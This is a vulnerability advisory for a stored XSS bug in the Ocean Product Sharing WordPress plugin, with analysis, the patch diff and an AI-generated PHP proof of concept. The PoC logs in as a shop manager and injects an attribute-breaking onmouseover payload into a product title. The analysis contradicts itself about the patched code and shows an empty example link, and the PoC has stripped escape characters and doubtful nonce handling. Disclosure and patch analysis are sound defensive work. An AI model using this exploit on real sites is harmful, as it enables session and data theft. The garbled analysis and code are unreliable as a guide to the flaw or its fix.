Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 27, 2026

CVE-2026-56007: Ocean Product Sharing <= 2.2.2 Authenticated (Shop manager+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 2.2.2
Patched Version 2.2.3
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-56007:

This vulnerability is a Stored Cross-Site Scripting (XSS) affecting the Ocean Product Sharing plugin for WordPress, versions 2.2.2 and earlier. The issue resides in the product-share.php template file where product titles are used in social sharing URLs without proper output escaping. Authenticated attackers with Shop Manager-level access can inject arbitrary JavaScript that executes when other users view the affected product page. The vulnerability has a CVSS score of 4.4 and is only exploitable on multi-site installations or where unfiltered_html is disabled.

Root cause: The template file ocean-product-sharing/template/product-share.php (line 22, originally) uses get_the_title() to obtain the product title, then passes it through html_entity_decode( wp_strip_all_tags( $product_title ) ) in the Twitter and email share URL constructions (lines 39 and 100 of the original code). While wp_strip_all_tags removes HTML tags, it does not neutralize JavaScript event handlers or other XSS payloads that don’t rely on HTML tag structures. The output is then inserted directly into the href attribute without context-aware escaping. Specifically, the twitter share link (line 39) and email link (line 100) use html_entity_decode on the stripped title, allowing an attacker to break out of the query string context and inject arbitrary JavaScript via event handlers like onmouseover or malformed URL schemes.

Exploitation: An attacker with Shop Manager role creates or edits a WooCommerce product. In the product title field, they inject a payload such as: “" onmouseover="alert(document.cookie)"”. The wp_strip_all_tags function removes angle brackets but retains the quote characters. When the patch’s updated template calls get_the_title() without html_entity_decode, the stored value (even stripped) contains the injected attributes. On the product page, the generated share link becomes: . The browser interprets the injected onmouseover attribute as an event handler, executing the JavaScript payload when the user hovers over the link. The attack can also be triggered by auto-focus events or other UI interactions without requiring a click.

Patch analysis: The patch in version 2.2.3 completely refactors the share URL construction. Instead of building raw URLs with concatenated strings, the patch creates full URL objects using add_query_arg() for each social platform (Twitter, Facebook, Pinterest, Email). The product title is now sanitized with wp_strip_all_tags() at the variable assignment level (line 22) and passed as a parameter to add_query_arg(), which properly URL-encodes the value. The template output directly calls esc_url() on the pre-built URL objects (lines 73, 91, 111, 134), ensuring context-appropriate escaping for the href attribute. The html_entity_decode() call that previously bypassed the stripping is removed entirely. This prevents attackers from injecting attribute-breaking payloads because the title is now safely embedded within the URL’s query string via add_query_arg’s encoding.

Impact: Successful exploitation allows an authenticated Shop Manager to inject arbitrary JavaScript into product pages viewed by any user, including administrators and customers. The injected script executes in the context of the victim’s WordPress session, enabling actions such as cookie theft, session hijacking, creation of new admin accounts, exfiltration of WooCommerce customer data (including order details and PII), and defacement of product pages. On multi-site installations, a compromised shop manager on one sub-site could potentially pivot to cross-site access if the XSS chain interacts with network-level administration tools.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ocean-product-sharing/ocean-product-sharing.php
+++ b/ocean-product-sharing/ocean-product-sharing.php
@@ -3,13 +3,13 @@
  * Plugin Name:         Ocean Product Sharing
  * Plugin URI:          https://oceanwp.org/extension/ocean-product-sharing/
  * Description:         A simple plugin to add social sharing buttons to your single product page. Compatible with WooCommerce and Easy Digital Downloads.
- * Version:             2.2.2
+ * Version:             2.2.3
  * Author:              OceanWP
  * Author URI:          https://oceanwp.org/
  * Requires at least:   5.6
  * Tested up to:        7.0
  * WC requires at least:3.0
- * WC tested up to:     10.8.0
+ * WC tested up to:     10.8.1
  *
  * Text Domain: ocean-product-sharing
  * Domain Path: /languages
--- a/ocean-product-sharing/template/product-share.php
+++ b/ocean-product-sharing/template/product-share.php
@@ -19,9 +19,43 @@
 }

 // Vars
-$product_title = get_the_title();
+$product_title = wp_strip_all_tags( get_the_title() );
 $product_url   = get_permalink();
-$product_img   = wp_get_attachment_url( get_post_thumbnail_id() ); ?>
+$product_img   = wp_get_attachment_url( get_post_thumbnail_id() );
+
+$twitter_url = add_query_arg(
+	array(
+		'text' => $product_title,
+		'url'  => $product_url,
+	),
+	'https://twitter.com/intent/tweet'
+);
+
+$facebook_url = add_query_arg(
+	array(
+		'u' => $product_url,
+	),
+	'https://www.facebook.com/sharer.php'
+);
+
+$pinterest_url = add_query_arg(
+	array(
+		'url'         => $product_url,
+		'media'       => $product_img,
+		'description' => $product_title,
+	),
+	'https://www.pinterest.com/pin/create/button/'
+);
+
+$email_url = add_query_arg(
+	array(
+		'subject' => $product_title,
+		'body'    => $product_url,
+	),
+	'mailto:'
+);
+
+?>

 <div class="oew-product-share clr">

@@ -36,7 +70,7 @@
 				?>

 				<li class="twitter">
-					<a aria-label="<?php esc_attr_e( 'Share this product on X', 'ocean-product-sharing' ); ?>" class="twitter-share-button" href="https://twitter.com/intent/tweet?text=<?php echo html_entity_decode( wp_strip_all_tags( $product_title ) ); ?>+<?php echo esc_url( $product_url ); ?>" onclick="ops_onClick( this.href );return false;">
+					<a aria-label="<?php esc_attr_e( 'Share this product on X', 'ocean-product-sharing' ); ?>" class="twitter-share-button" href="<?php echo esc_url( $twitter_url ); ?>" onclick="ops_onClick( this.href );return false;">
 						<span class="screen-reader-text"><?php echo esc_attr__( 'Opens in a new window', 'ocean-product-sharing' ); ?></span>
 						<span class="ops-icon-wrap">
 							<svg class="ops-icon" role="img" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
@@ -54,7 +88,7 @@
 				?>

 				<li class="facebook">
-					<a href="https://www.facebook.com/sharer.php?u=<?php echo rawurlencode( esc_url( $product_url ) ); ?>" target="_blank" aria-label="<?php esc_attr_e( 'Share on Facebook', 'ocean-product-sharing' ); ?>" onclick="ops_onClick( this.href );return false;">
+					<a href="<?php echo esc_url( $facebook_url ); ?>" target="_blank" aria-label="<?php esc_attr_e( 'Share on Facebook', 'ocean-product-sharing' ); ?>" onclick="ops_onClick( this.href );return false;">
 						<span class="screen-reader-text"><?php echo esc_attr__( 'Opens in a new window', 'ocean-product-sharing' ); ?></span>
 						<span class="ops-icon-wrap">
 							<svg class="ops-icon" role="img" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
@@ -74,7 +108,7 @@
 				?>

 				<li class="pinterest">
-					<a href="https://www.pinterest.com/pin/create/button/?url=<?php echo rawurlencode( esc_url( $product_url ) ); ?>&media=<?php echo wp_get_attachment_url( get_post_thumbnail_id() ); ?>&description=<?php echo rawurlencode( wp_strip_all_tags( $product_title ) ); ?>" target="_blank" aria-label="<?php esc_attr_e( 'Share on Pinterest', 'ocean-product-sharing' ); ?>" onclick="ops_onClick( this.href );return false;">
+					<a href="<?php echo esc_url( $pinterest_url ); ?>" target="_blank" aria-label="<?php esc_attr_e( 'Share on Pinterest', 'ocean-product-sharing' ); ?>" onclick="ops_onClick( this.href );return false;">
 						<span class="screen-reader-text"><?php echo esc_attr__( 'Opens in a new window', 'ocean-product-sharing' ); ?></span>
 						<span class="ops-icon-wrap">
 							<svg class="ops-icon" role="img" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
@@ -97,7 +131,7 @@
 				?>

 				<li class="email">
-					<a href="mailto:?subject=<?php echo html_entity_decode( wp_strip_all_tags( $product_title ) ); ?>&body=<?php echo esc_url( $product_url ); ?>" target="_blank" aria-label="<?php esc_attr_e( 'Share via email', 'ocean-product-sharing' ); ?>" onclick="ops_onClick( this.href );return false;">
+					<a href="<?php echo esc_url( $email_url, array( 'mailto' ) ); ?>" target="_blank" aria-label="<?php esc_attr_e( 'Share via email', 'ocean-product-sharing' ); ?>" onclick="ops_onClick( this.href );return false;">
 						<span class="screen-reader-text"><?php echo esc_attr__( 'Opens in a new window', 'ocean-product-sharing' ); ?></span>
 						<span class="ops-icon-wrap">
 							<svg class="ops-icon" role="img" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">

ModSecurity Protection Against This CVE

Proof of Concept (PHP)

PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56007 - Stored Cross-Site Scripting via Product Title

// Configuration: Set these variables before running
$target_url = 'http://example.com'; // Root URL of WordPress installation
$username = 'shopmanager';          // WordPress username with Shop Manager role
$password = 'password';             // WordPress password

// The product ID we will update (must exist)
$product_id = 1;

// XSS payload - breaks out of href attribute context
$xss_payload = '" onmouseover="alert(document.cookie)"';

// Step 1: Authenticate as Shop Manager
$login_cookies = authenticate($target_url, $username, $password);
if (!$login_cookies) {
    die('[-] Authentication failed. Check credentials or user role.n');
}

echo '[+] Authenticated as: ' . $username . "n";

// Step 2: Get the WordPress AJAX nonce for product editing
$admin_url = $target_url . '/wp-admin/post.php?post=' . $product_id . '&action=edit';
$edit_page = http_request($admin_url, $login_cookies);
preg_match('/name="_ajax_nonce"[^>]*value="([^"]+)"/', $edit_page, $matches);
if (!isset($matches[1])) {
    preg_match('/id="_ajax_nonce"[^>]*value="([^"]+)"/', $edit_page, $matches);
}
$ajax_nonce = $matches[1] ?? '';

echo '[+] AJAX nonce obtained: ' . $ajax_nonce . "n";

// Step 3: Update the product title with XSS payload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action'    => 'inline-save',
    'post_ID'   => $product_id,
    '_ajax_nonce' => $ajax_nonce,
    'post_title'  => $xss_payload
);

$response = http_request($ajax_url, $login_cookies, $post_data);

echo '[+] Product title updated with XSS payload.n';
echo '[*] Visit the product page to trigger the XSS: ' . $target_url . '/?p=' . $product_id . "n";

// Helper function: HTTP request with cookies
function http_request($url, $cookies = array(), $post_data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    if ($post_data) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }
    
    if (!empty($cookies)) {
        $cookie_str = '';
        foreach ($cookies as $name => $value) {
            $cookie_str .= $name . '=' . $value . '; ';
        }
        curl_setopt($ch, CURLOPT_COOKIE, $cookie_str);
    }
    
    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        die('[-] cURL error: ' . $error . "n");
    }
    
    return $response;
}

// Helper function: Authenticate and get cookies
function authenticate($url, $username, $password) {
    $login_url = $url . '/wp-login.php';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, array(
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => '1'
    ));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        die('[-] cURL error during authentication: ' . $error . "n");
    }
    
    // Extract cookies from response headers
    preg_match_all('/^Set-Cookie:s*([^=]+)=([^;]+)/im', $response, $matches);
    $cookies = array_combine($matches[1], $matches[2]);
    
    if (empty($cookies) || !isset($cookies['wordpress_logged_in_' . md5($url)])) {
        return false;
    }
    
    return $cookies;
}

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School